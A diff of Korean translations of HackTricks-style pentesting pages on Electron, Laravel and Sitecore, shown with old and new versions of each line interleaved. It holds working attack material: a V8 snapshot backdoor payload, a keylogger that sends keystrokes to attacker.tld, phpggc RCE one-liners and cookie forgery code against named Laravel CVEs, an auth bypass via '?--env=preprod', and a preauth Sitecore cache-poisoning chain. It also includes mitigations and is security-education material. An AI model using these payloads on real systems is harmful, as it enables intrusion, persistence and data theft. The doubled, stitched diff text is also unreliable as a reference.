* **NSUserDefaults**와 **인터페이스**하며 macOS의 **애플리케이션** 또는 **글로벌** 환경설정을 저장합니다.
* **NSUserDefaults**와 **인터페이스**하여 macOS에서 **애플리케이션** 또는 **전역 설정**을 저장합니다.
* **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **가져올** 수 있습니다.
* **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **조회**할 수 있습니다.
* **setUserDefault**는 이러한 환경설정을 **수정**하여 앱의 **구성**에 영향을 줄 수 있습니다.
* **setUserDefault**는 이러한 설정을 **수정**하여 앱의 **구성(configuration)**에 영향을 줄 수 있습니다.
* **older Electron versions**(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 **접근** 가능했습니다.
* **older Electron versions**(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 **접근 가능**했습니다.
## Shell.showItemInFolder
이 함수는 파일 관리기에서 지정된 파일을 표시하며, 이는 **파일을 자동으로 실행할 수 있습니다**.
This function shows the given file in a file manager, which **could automatically execute the file**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron 앱은 **Content Security Policy (CSP)**를 적용하여 **XSS 공격을 방지**해야 합니다. **CSP**는 브라우저에서 **신뢰할 수 없는 코드의 실행을 방지**하는 데 도움이 되는 **보안 표준**입니다.
Electron 앱은 **XSS 공격을 방지**하기 위 **콘텐츠 보안 정책 (CSP)**을 가져야 합니다. **CSP**는 브라우저에서 **신뢰할 수 없는 코드의 실행**을 방지하는 데 도움이 되는 **보안 표준**입니다.
보통 **`main.js`** 파일이나 **`index.html`** 템플릿 내의 **meta 태그** 안에 CSP를 **설정**합니다.
보통 **`main.js`** 파일이나 템플릿의 **`index.html`** 안에 있는 **meta tag**로 **구성**됩니다.
For more information check:
@ -407,18 +401,18 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **도구**
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 는 Electron 기반 애플리케이션의 잘못된 구성 보안 안티패턴을 식별하는 도구입니다.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity를 사용하는 Electron 애플리케이션용 오픈 소스 VS Code 플러그인입니다.
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 는 Electron 기반 애플리케이션의 잘못된 구성 보안 안티패턴을 식별하는 도구입니다.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity를 사용하는 Electron 애플리케이션용 오픈 소스 VS Code 플러그인입니다.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 은 취약한 서드파티 라이브러리를 검사하는 도구입니다.
- [**Electro.ng**](https://electro.ng/): 유료(구매 필요)
- [**Electro.ng**](https://electro.ng/): You need to buy it
## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 에서 취약한 Electron 앱을 익스플로잇하는 실습을 찾을 수 있습니다.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
실습에서 도움이 되는 몇 가지 명령:
Some commands that will help you will the lab:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -443,18 +437,18 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron 및 Chromium 기반 앱은 시작 시 미리 빌드된 V8 heap snapshot을 역직렬화하여 각 V8 isolate(main, preload, renderer)를 초기화합니다 (v8_context_snapshot.bin, 및 선택적으로 browser_v8_context_snapshot.bin). 역사적으로 Electron의 integrity fuses는 이러한 스냅샷을 실행 가능한 콘텐츠로 취급하지 않았기 때문에 fuse 기반 무결성 강제와 OS의 코드 서명 검사를 모두 회피했습니다. 그 결과, 사용자가 쓰기 가능한 설치 경로에 있는 스냅샷을 교체하면 서명된 바이너리나 ASAR를 수정하지 않고도 앱 내부에서 은밀하고 지속적인 코드 실행이 가능했습니다.
Electron 및 Chromium 기반 앱은 시작 시 미리 만들어진 V8 heap snapshot(v8_context_snapshot.bin, 선택적으로 browser_v8_context_snapshot.bin)을 deserialize하여 각 V8 isolate(main, preload, renderer)를 초기화합니다. 역사적으로 Electron의 integrity fuses는 이러한 스냅샷을 실행 가능한 콘텐츠로 취급하지 않아 fuse 기반 무결성 강제 및 OS 코드 서명 검사 둘 다를 회피했습니다. 결과적으로 사용자 쓰기 가능한 설치 위치에 있는 스냅샷을 교체하면 서명된 바이너리나 ASAR을 수정하지 않고도 앱 내부에서 은밀하고 영구적인 코드 실행을 제공했습니다.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 및 OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만 V8 heap snapshots는 포함하지 않았습니다 (CVE-2025-55305). Chromium 또한 스냅샷에 대한 무결성 검사를 수행하지 않습니다.
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. 이는 Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로에 설치되는 시스템에서 흔합니다 (예: Windows의 %AppData%\Local; macOS의 /Applications는 주의사항 있음).
- Effect: 자주 사용되는 builtin(“gadget”)을 덮어써 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행할 수 있어 지속성 및 코드 서명 검증 회피가 가능합니다.
- Affected surface: 사용자 쓰기 가능한 위치에서 스냅샷을 로드하는 Electron 앱(심지어 fuses가 활성화된 경우도 포함) 및 Chromium 기반 브라우저.
핵심 사항
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 및 OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만 V8 heap snapshots(CVE-2025-55305)은 커버하지 않았습니다. Chromium도 유사하게 스냅샷에 대해 무결성 검사를 수행하지 않습니다.
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. 이는 Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로(예: Windows의 %AppData%\Local; macOS에서는 /Applications에 일부 예외 있음)에 설치된 시스템에서 흔합니다.
- Effect: 자주 사용되는 builtin(일명 “gadget”)을 덮어써 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행할 수 있으며, 이를 통해 지속성 확보 및 코드 서명 검증 회피가 가능합니다.
- Affected surface: integrity fuses가 활성화된 경우에도 Electron 앱과 사용자 쓰기 가능한 위치에서 스냅샷을 로드하는 Chromium 기반 브라우저가 영향을 받습니다.
Generating a malicious snapshot without building Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Chromium을 빌드하지 않고 악성 스냅샷 생성
- 미리 빌드된 electron/mksnapshot을 사용해 payload JS를 스냅샷으로 컴파일한 후 애플리케이션의 v8_context_snapshot.bin을 덮어쓰면 됩니다.
Example minimal payload (prove execution by forcing a crash)
예시 최소 페이로드 (크래시를 유발해 실행을 증명)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -468,11 +462,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (main과 renderer에서 서로 다른 코드를 실행)
- Main process detection: Node 전용 전역(process.pid, process.binding(), process.dlopen 등)은 main 프로세스 isolate에 존재합니다.
- Browser/renderer detection: 문서 컨텍스트에서 실행될 때 Browser 전용 전역(alert 등)을 사용할 수 있습니다.
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Node-only globals(예: process.pid, process.binding(), process.dlopen)은 main process isolate에 존재합니다.
- Browser/renderer detection: Browser-only globals(예: alert)은 document context에서 실행될 때 사용 가능합니다.
Example gadget that probes main-process Node capabilities once
예제 gadget은 main-process Node 기능을 한 번 탐지합니다.
```js
const orig = Array.isArray;
@ -501,7 +495,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context 데이터 탈취 PoC (예: Slack)
Renderer/browser-context data theft PoC (예: Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -525,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
운영자 워크플로우
1) 공통 builtin(예: Array.isArray)을 덮어쓰는 payload.js를 작성하고, 선택적으로 isolate별 분기를 추가한다.
2) Chromium 소스 없이 snapshot을 빌드다:
운영자 작업 흐름
1) payload.js를 작성하여 common builtin(예: Array.isArray)을 덮어쓰고, 선택적으로 isolate마다 분기합니다.
2) Chromium 소스 없이 snapshot을 빌드합니다:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) 대상 애플리케이션의 snapshot 파일을 덮어다:
- v8_context_snapshot.bin (항상 사용)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) 애플리케이션을 실행하면 선택한 builtin이 사용될 때마다 gadget이 실행다.
3) 대상 애플리케이션의 snapshot 파일을 덮어씁니다:
- v8_context_snapshot.bin (항상 사용)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse가 사용되는 경우)
4) 애플리케이션을 실행하면 선택한 builtin이 사용될 때마다 gadget이 실행됩니다.
주의 및 고려사항
- Integrity/signature bypass: Snapshot 파일은 코드 서명 검사에서 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electrons fuses나 Chromium 무결성 통제에 포함되지 않았다.
- Persistence: 사용자 쓰기 가능한 설치 위치의 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 정상 앱처럼 보인다.
- Chromium browsers: 동일한 변조 개념이 사용자 쓰기 가능한 위치에 설치된 Chrome/derivatives에도 적용된다. Chrome은 다른 무결성 완화책을 가지고 있지만 물리적으로 로컬한 공격은 위협 모델에서 명시적으로 제외한다.
노트 및 고려사항
- Integrity/signature bypass: Snapshot 파일은 code-signing checks에 의해 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electron의 fuses나 Chromium 무결성 통제의 적용을 받지 않았습니다.
- Persistence: 사용자 쓰기 권한이 있는 설치 위치에 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 정식 앱처럼 보입니다.
- Chromium browsers: 동일한 변조 개념은 사용자 쓰기 가능한 위치에 설치된 Chrome/파생 브라우저에도 적용됩니다. Chrome은 다른 무결성 완화책을 가지고 있지만 물리적으로 로컬인 공격(physically local attacks)은 위협 모델에서 명시적으로 제외합니다.
탐지 및 완화
- snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제 대상에 포함시다 (CVE-2025-55305 fix).
- 관리자 전용 쓰기 가능한 설치 위치를 권장한다; v8_context_snapshot.bin과 browser_v8_context_snapshot.bin의 해시를 기준선으로 설정하고 모니터링한다.
- 초기 런타임에서의 builtin 덮어쓰기와 예상치 못한 snapshot 변경을 탐지하고; 역직렬화된 snapshot이 예상 값과 일치하지 않으면 경보를 발생시킨다.
- snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제 대상에 포함시킵니다 (CVE-2025-55305 fix).
- 관리자 전용 쓰기 가능한 설치 위치를 선호하고; v8_context_snapshot.bin 및 browser_v8_context_snapshot.bin의 해시를 기준값화하고 모니터링합니다.
- 초기 런타임에서의 builtin clobbering 및 예기치 않은 snapshot 변경을 탐지하고, deserialized snapshots가 예상값과 일치하지 않으면 경고합니다.
## **References**
## **참고자료**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

View File

@ -4,14 +4,14 @@
### Laravel SQLInjection
자세한 내용은 다음에서 확인하세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
자세한 내용은 다음을 참조하세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & 암호화 내부 (Laravel \u003e=5.6)
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel는 AES-256-CBC (또는 GCM)과 HMAC 무결성을 내부적으로 사용합니다 (`Illuminate\\Encryption\\Encrypter`).
최종적으로 **클라이언트로 전송되는** 원시 암호문은 **JSON 객체의 Base64** 같은 형태입니다:
Laravel은 AES-256-CBC (또는 GCM)와 HMAC 무결성을 내부적으로 사용합니다 (`Illuminate\\Encryption\\Encrypter`).
최종적으로 **클라이언트로 전송되는** 원시 암호문은 **JSON 객체의 Base64** 형태로 다음과 같습니다:
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -20,9 +20,9 @@ Laravel는 AES-256-CBC (또는 GCM)과 HMAC 무결성을 내부적으로 사용
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)`는 기본적으로 평문에 대해 `serialize()`를 실행하는 반면,
`encrypt($value, $serialize=true)`는 기본적으로 평문`serialize()`하는 반면,
`decrypt($payload, $unserialize=true)`는 복호화된 값을 **자동으로 `unserialize()`** 합니다.
따라서 **32-바이트 비밀 `APP_KEY`를 알고 있는 공격자는 암호화된 PHP serialized 객체를 만들어 magic methods (`__wakeup`, `__destruct`, …)을 통해 RCE를 획득할 수 있습니다.**
따라서 **32바이트 비밀 `APP_KEY`를 알고 있는 공격자는 암호화된 PHP serialized object를 제작하여 매직 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 획득할 수 있습니다**.
Minimal PoC (framework ≥9.x):
```php
@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
생성된 문자열을 취약한 `decrypt()` sink(라우트 파라미터, 쿠키, 세션 등)에 주입하세요.
생성된 문자열을 취약한 `decrypt()` sink (route param, cookie, session, …)에 주입하세요.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 전체 과정을 자동화하고 편리한 **bruteforce** 모드를 추가합니다:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)은 전체 과정을 자동화하며 편리한 **bruteforce** 모드를 추가합니다:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
이 스크립트는 CBC와 GCM 페이로드를 모두 투명하게 지원하고 HMAC/tag 필드를 재생성합니다.
이 스크립트는 CBC와 GCM payload를 모두 투명하게 지원하며 HMAC/tag 필드를 재생성합니다.
---
## 실제 취약 패턴
| 프로젝트 | 취약 지점 | Gadget chain |
| Project | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
익스플로잇 워크플로우는 항상:
1. 32바이트 `APP_KEY`획득하거나 무차별 대입으로 찾습니다.
2. **PHPGGC**로 gadget chain을 생성합니다 (예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`).
3. 직렬화된 gadget을 **laravel_crypto_killer.py**와 복`APP_KEY`로 암호화합니다.
4. 암호문(ciphertext)을 취약한 `decrypt()` sink(라우트 매개변수, 쿠키, 세션 …)에 전달하여 **RCE**를 발생시킵니다.
The exploitation workflow is always:
1. 32바이트 `APP_KEY`얻거나 brute-force합니다.
2. **PHPGGC**로 gadget chain을 구성합니다(예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`).
3. 직렬화된 gadget을 **laravel_crypto_killer.py**와 복`APP_KEY`로 암호화합니다.
4. 암호문을 취약한 `decrypt()` sink(라우트 파라미터, 쿠키, 세션 …)에 전달해 **RCE**를 유발합니다.
아래는 위에서 언급한 실제 CVE 각각에 대한 전체 공격 경로를 간단한 one-liners로 보여줍니다:
아래는 위에서 언급한 각 실제 CVE에 대한 전체 공격 경로를 보여주는 간단한 one-liners입니다:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## cookie brute-force를 통한 대량 APP_KEY 발견
## 대규모 APP_KEY 발견 via cookie brute-force
모든 새로운 Laravel 응답은 최소 하나의 암호화된 쿠키(`XSRF-TOKEN` 및 보통 `laravel_session`)를 설정하기 때문에, **공용 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 leak**하여 오프라인으로 공격할 수 있습니다.
새로운 Laravel 응답은 최소 한 개의 암호화된 cookie(`XSRF-TOKEN` 및 보통 `laravel_session`)를 설정하므로, **public internet scanners (Shodan, Censys, …) leak 수백만 개의 ciphertexts**가 생성되어 오프라인으로 공격할 수 있습니다.
Synacktiv(2024-2025)가 발표한 연구의 주요 발견:
* 데이터셋 July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* 데이터셋 May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 서버가 여전히 레거시 CVE-2018-15133에 취약 — tokens에 직렬화된 데이터가 직접 포함되어 있기 때문.
* 광범위한 키 재사용 — 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)에 하드코딩된 기본값.
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers 여전히 legacy CVE-2018-15133에 취약 — tokens가 직렬화된(serialized) 데이터를 직접 포함함.
* 광범위한 키 재사용 상위 10개 APP_KEY는 상용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)에 하드코딩된 기본값.
사설 Go 도구 **nounours**는 AES-CBC/GCM bruteforce 처리량을 약 15억 시도/s로 끌어올려 전체 데이터셋 크래킹 시간<2분으로 단축합니다.
프라이빗 Go 툴 **nounours**는 AES-CBC/GCM bruteforce 처리량을 약 15억 시도/s로 끌어올려 전체 데이터셋 크래킹을 <2분으로 단축합니다.
## CVE-2024-52301 HTTP argv/env override → auth bypass
PHP`register_argc_argv=On`이 설정된 경우(많은 배포판에서 일반적), PHP는 쿼리 문자열에서 파생된 HTTP 요청용 `argv` 배열을 노출합니다. 최신 Laravel 버전은 이러한 "CLI-like" 인자를 파싱하고 런타임에서 `--env=<value>`를 존중했습니다. 이로 인해 단순히 URL에 해당 값을 추가하는 것만으로 현재 HTTP 요청의 프레임워크 환경을 전환할 수 있습니다:
PHP 설정 `register_argc_argv=On`일 때(많은 배포판에서 일반적), PHP는 쿼리 문자열에서 유래한 HTTP 요청용 `argv` 배열을 노출합니다. 최근 Laravel 버전은 이러한 “CLI-like” args를 파싱하고 런타임에 `--env=<value>`를 존중했습니다. 이로 인해 어떤 URL에든 해당 값을 붙이는 것만으로 현재 HTTP 요청의 프레임워크 환경을 뒤집을 수 있습니다:
- 빠른 확인:
- `https://target/?--env=local` 또는 임의의 문자열에 접속하여 환경에 따라 달라지는 항목(디버그 배너, 푸터, 자세한 오류 등)을 확인합니다. 문자열이 반영되면 오버라이드가 작동하는 것입니다.
- Quick check:
- `https://target/?--env=local` 또는 임의의 문자열을 방문하고 환경에 따라 달라지는 변화(디버그 배너, 푸터, 자세한 오류 등)를 확인합니다. 문자열이 반영되면 override가 작동하는 것입니다.
- 영향 예시 (특정 env를 신뢰하는 비즈니스 로직):
- 앱에 `if (app()->environment('preprod')) { /* bypass auth */ }` 같은 분기가 있다면, 유효한 자격 증명 없이 다음과 같이 로그인 POST를 보내어 인증할 수 있습니다:
- Impact example (business logic가 특정 env를 신뢰하는 경우):
- 앱에 `if (app()->environment('preprod')) { /* bypass auth */ }` 같은 분기가 있다면, 유효한 자격증명 없이 로그인할 수 있습니다. 로그인 POST를 다음과 같이 전송합니다:
- `POST /login?--env=preprod`
- 주의사항:
- 요청 단위로 작동하며 영속성은 없음.
- `register_argc_argv=On`과 HTTP용 argv를 읽는 취약한 Laravel 버전이 필요함.
- “debug” 환경에서 더 자세한 오류를 노출시키거나 환경에 의해 제어되는 코드 경로를 트리거하는 유용한 원시 수단임.
- Notes:
- 요청별 동작하며 영구적이지 않습니다.
- `register_argc_argv=On`이고 HTTP 요청에서 argv를 읽는 취약한 Laravel 버전이 필요합니다.
- “debug” 환경에서 더 자세한 오류를 노출하거나 환경으로 제어되는 코드 경로를 트리거하는 데 유용한 프리미티브입니다.
- 완화책:
- PHP-FPM/Apache에서 `register_argc_argv`를 비활성화.
- HTTP 요청에서 argv를 무시하도록 Laravel을 업그레이드하고, 운영 환경 라우트에서 `app()->environment()`에 의존하는 신뢰 가정을 제거.
- Mitigations:
- PHP-FPM/Apache`register_argc_argv`를 비활성화합니다.
- HTTP 요청에서 argv를 무시하도록 Laravel을 업그레이드하고, production 경로에서 `app()->environment()`에 의존하는 신뢰 가정을 제거합니다.
Minimal exploitation flow (Burp):
```http
@ -129,22 +129,22 @@ email=a@b.c&password=whatever&remember=0xdf
### 디버깅 모드
만약 Laravel이 **디버깅 모드**라면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\
예: `http://127.0.0.1:8000/profiles`:
If Laravel is in **디버깅 모드** you will be able to access the **code** and **sensitive data**.\
For example `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
이는 보통 다른 Laravel RCE CVEs를 exploit하는 데 필요합니다.
이는 다른 Laravel RCE CVEs를 악용하는 데 일반적으로 필요합니다.
### Fingerprinting & exposed dev endpoints
### 지문 수집 및 노출된 개발 엔드포인트
운영 환경에서 노출된 Laravel 스택과 위험한 dev tooling을 식별하기 위한 빠른 확인:
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
- `/_ignition/health-check` → Ignition 존재 (CVE-2021-3129에 사용된 디버그 도구). 인증 없이 접근 가능하면 앱이 디버그 상태이거나 잘못 구성되었을 수 있습니다.
- `/_debugbar` → Laravel Debugbar 자산; 종종 디버그 모드를 나타냅니다.
- `/telescope` → Laravel Telescope (dev 모니터). 공개되어 있으면 광범위한 정보 노출과 가능한 조치를 기대할 수 있습니다.
- `/horizon` → Queue 대시보드; 버전 노출과 때때로 CSRF로 보호된 작업이 존재할 수 있습니다.
- `X-Powered-By`, 쿠키 `XSRF-TOKEN``laravel_session`, 그리고 Blade 에러 페이지도 식별에 도움이 됩니다.
- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode.
- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@ -153,13 +153,13 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel은 cookies 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이 파일은 `/../.env` 경로 트래버설을 통해 접근할 수 있습니다.
Laravel은 cookies 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이 파일은 `/../.env`와 같은 path traversal을 통해 접근할 수 있습니다.
Laravel은 오류가 발생하고 debug page가 활성화되어 있을 때 해당 정보를 debug page에 표시하기도 합니다.
Laravel은 오류를 발견하고 디버그 페이지가 활성화된 경우 해당 정보를 디버그 페이지에 표시하기도 합니다.
Laravel의 비밀 APP_KEY를 사용하면 cookies를 복호화하고 암호화할 수 있습니다:
Laravel의 비밀 APP_KEY를 사용하면 cookies를 복호화하고 다시 암호화할 수 있습니다:
### 쿠키 복호화
### Decrypt Cookie
```python
import os
import json
@ -224,8 +224,8 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
deserialization 취약점에 대한 정보는 다음에서 확인할 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
다음을 사용하여 테스트하고 exploit할 수 있습니다: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
또는 metasploit으로 exploit할 수 있습니다: `use unix/http/laravel_token_unserialize_exec`
다음으로 테스트하고 exploit할 수 있습니다: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
또는 metasploit으로 exploit할 수 있습니다: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@ -233,7 +233,7 @@ deserialization 취약점에 대한 정보는 다음에서 확인할 수 있습
## References
## 참고자료
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)

View File

@ -1,11 +1,11 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE
# Sitecore Experience Platform (XP) 사전 인증 HTML Cache Poisoning에서 포스트 인증 RCE까지
{{#include ../../../banners/hacktricks-training.md}}
이 페이지는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 체인은 preauth XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization을 이용한 RCE로 이어집니다. 이 기법들은 유사한 Sitecore 버전/컴포넌트에 일반화되며 테스트, 탐지 및 보완을 위한 구체적인 프리미티브를 제공합니다.
이 페이지는 사전 인증 XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization으로 RCE에 도달하는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 기법들은 유사한 Sitecore 버전/구성요소에 일반화되며 테스트, 탐지 및 하드닝을 위한 구체적인 프리미티브를 제공합니다.
- 영향 대상 제품(테스트): Sitecore XP 10.4.1 rev. 011628
- 수정 버전(패치): KB1003667, KB1003734 (June/July 2025)
- 테스트한 영향 제품: Sitecore XP 10.4.1 rev. 011628
- 수정: KB1003667, KB1003734 (June/July 2025)
참고:
@ -17,9 +17,9 @@
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth primitive: XAML Ajax reflection → HtmlCache write
## 사전 인증 프리미티브: XAML Ajax reflection → HtmlCache write
진입점은 web.config에 등록된 preauth XAML handler입니다:
진입점은 web.config에 등록된 사전 인증 XAML 핸들러입니다:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
@ -27,7 +27,7 @@
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 공격자가 제어하는 필드를 읽어 대상 컨트롤의 메서드를 리플렉션으로 호출합니다:
컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 attackercontrolled fields를 읽고 리플렉션을 통해 대상 컨트롤의 메서드를 호출합니다:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl(사이트코어 클래스)에서 파생되며, ReflectionUtil.Filter allowlist (Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 사용할 수 있게 한다.
핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl( Sitecore 클래스)에서 파생되며, ReflectionUtil.Filter 허용-리스트(Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 해제한다.
poisoning을 위한 매직 메서드:
```csharp
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
xmlcontrol:GlobalHeader를 대상으로 지정하고 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, preauth 상태에서 임의의 HtmlCache write primitive를 얻을 수 있습니다.
